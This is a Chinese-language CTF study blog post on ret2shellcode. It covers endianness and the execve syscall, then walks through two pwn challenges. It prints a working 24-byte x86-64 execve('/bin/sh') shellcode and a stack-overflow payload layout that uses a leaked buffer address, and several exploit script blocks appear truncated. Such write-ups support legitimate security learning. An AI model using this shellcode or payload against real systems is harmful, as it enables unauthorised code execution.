ret2shellcode
开始正式学习shellcode了!
ret2shellcod
前置基础
大端序与小端序:
大端序和小端序是指计算机存储多字节数据类型(如整数、浮点数等)时字节的排列顺序。
大端序:一个多字节值的最高位字节(即“大端”)存储在最低的内存地址处,其余字节按照大小递减的顺序存储。这种排列方式类似于我们写数字时从最高位到最低位的顺序。
例如一个16位的二进制数0x1234在大端序存储系统中,它的存储方式如下:
1
2
3内存地址 数据
0x00 0x12
0x01 0x34小端序:一个多字节值的最低位字节(即“小端”)存储在最低的内存地址处,其余字节按照大小递增的顺序存储。这种排列方式类似于我们从最低位到最高位读取数字的顺序。
使用上面相同的16位二进制数0x1234,在小端序存储系统中,它的存储方式如下:
1
2
3内存地址 数据
0x00 0x34
0x01 0x12
大多数现代个人电脑和服务器使用小端序存储,而某些大型机、网络协议和旧的计算机系统则使用大端序。
系统调用
32位程序执行系统调用获取shell
1 | void __noreturn start() |
sys_execve
是一个在二进制漏洞利用中常见的ROPgadget,它用于执行系统调用 execve 。 execve 是一个在Unix-like操作系统中用于执行一个新程序的系统调用,其原型如下:
1 | int execve(const char *filename, char *const argv[], char *const envp[]); |
参数说明:
• filename :要执行的程序的路径。
• argv :传递给新程序的参数列表。
• envp :传递给新程序的环境变量列表。
在示例程序中, sys_execve(v1, 0, 0); 表示调用 execve 系统调用,其中:
• v1 指向要执行的程序路径·/bin/sh
。
• 第二个参数 0 表示没有传递任何参数给新程序。
• 第三个参数 0 表示没有传递任何环境变量给新程序。
/bin/sh 是一个程序路径,它指向大多数Unix-like系统中的shell程序。这里:
• /bin 是一个存放常用命令的目录。
• sh 是shell程序的文件名。
汇编:
1 | push 0x68 ; 'h' |
实操:
shellcode编写
pwn62
exp
1 | from pwn import * |
分析
64位程序,开了PIE程序会给出buf的地址,栈上可读可写可执行。
首先接收buf的地址,read函数规定了输入长度0x38,分配给buf 0x10故存在栈溢出
shellcode的最大长度=0x38-(0x10+8)-8=24bytes故不能用pwntools生成的shellcode(还没学会怎么写)
收集到的24bytes的shellcode:
1 | b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" |
payload目前的理解(还不是很理解):
1 | payload = b'a'*(0x10+8)+p64(buf+32)+shellcode |
b’a’*(0x10+8)垃圾数据填充到返回地址,因为开了PIE所以地址不确定只能用泄露出的buf地址,buf的后24字节上为leave,leave的作用相当于mov sp,bp; pop bp,会释放栈空间因此不能使用buf后的24字节,v5+24后的8个字节需要存放返回地址故shellcode只能放在buf+32后的位置上
pwn64
开了某种保护不代表这条路一定走不通,该题开了nx保护但是main函数中有一个mmap函数
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
buf = mmap(0, 1024u, 7, 34, 0, 0);
:调用 mmap 函数来映射 1024 字节的内存。 7 表示映射区域是可读、可写、可执行的( PROT_READ | PROT_WRITE | PROT_EXEC ), 34 可能是 MAP_PRIVATE | MAP_ANONYMOUS 的组合,表示创建一个私有的匿名映射。 0 和 0 分别表示文件描述符和映射的文件偏移量。
故buf指针所指向的内存区域是可执行的我们只需写入shellcode即可,因为最后(buf)();
会调用buf指向的函数
exp
1 | from pwn import * |
<待续…>